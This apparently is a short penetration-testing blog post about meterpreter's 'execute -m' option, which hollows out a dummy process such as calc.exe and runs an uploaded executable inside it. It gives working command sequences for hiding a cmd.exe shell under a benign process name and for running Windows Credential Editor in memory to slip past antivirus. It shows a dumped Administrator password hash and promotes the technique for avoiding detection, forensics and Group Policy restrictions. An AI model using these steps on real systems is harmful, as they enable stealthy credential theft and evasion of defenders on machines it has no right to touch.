The purpose of this post is to point out a little-known jewel -- the -m flag to meterpreter's execute command. The help tells us that this flag causes the executable to "Execute from memory" but that doesn't really explain it. Here's an example of the -m option in action:
meterpreter > cd %systemroot% meterpreter > cd system32 meterpreter > pwd C:\Windows\SYSTEM32 meterpreter > download cmd.exe [*] downloading: cmd.exe -> cmd.exe [*] downloaded : cmd.exe -> cmd.exe meterpreter > execute -H -m -d calc.exe -i -f cmd.exe Process 572 created. Channel 5 created. The system cannot find message text for message number 0x2350 in the message file for Application. Copyright (c) 2009 Microsoft Corporation. All rights reserved. C:\Windows\SYSTEM32>
Background that shell, type ps, and you'll notice there is a calc.exe process and no cmd.exe process. So what's happening here? First, we're downloading cmd.exe from the system. This isn't necessary if you already have a copy from another system. Next, we're executing calc.exe as a dummy executable and uploading another executable to run in its process space instead. On the target, this works by starting calc.exe in a suspended state, then using the Windows debugging API to rip out its guts and replace them with an executable we supply from the attacker machine.
Using the in-memory executable technique has a few major advantages. First, the name of the file doesn't show up in a process list so things like Task Manager will display it as whatever normal system executable you picked for the -d option. That's pretty important for staying undetected in the presence of a watchful eye. Second, the executable never touches disk. Avoiding writing executables to disk also means forensics is a bit harder -- there's no suspicious prefetch entry for a new executable, there's no new files or altered modification times. The executable itself could leave behind telltale evidence, of course, but every little bit helps. Staying entirely in memory means AV doesn't get another chance to catch us. Anti-Virus generally doesn't like a lot of the tools you often find very handy, such as Windows Credential Editor, so running them in memory gives you another option to avoid that nuisance. Here's what it looks like:
meterpreter > upload wce.exe [*] uploading : wce.exe -> wce.exe [*] uploaded : wce.exe -> wce.exe meterpreter > ls wce.exe [-] stdapi_fs_stat: Operation failed: The system cannot find the file specified.
AV decided wce.exe was evil and deleted it before we had a chance to get what we came for. Let's try it in memory:
meterpreter > execute -H -m -d calc.exe -f wce.exe -a "-o foo.txt" Process 3216 created. meterpreter > cat foo.txt Administrator:PWNME:E52CAC67419A9A224A3B108F3FA6CB6D:8846F7EAEE8FB117AD06BDD830B7586C
Another advantage that might not be quite so obvious is that this is a means of getting a cmd.exe shell even if cmd is disabled or removed on the target. GPO preventing you from getting what you need? Just upload it into memory and carry on like nothing happened.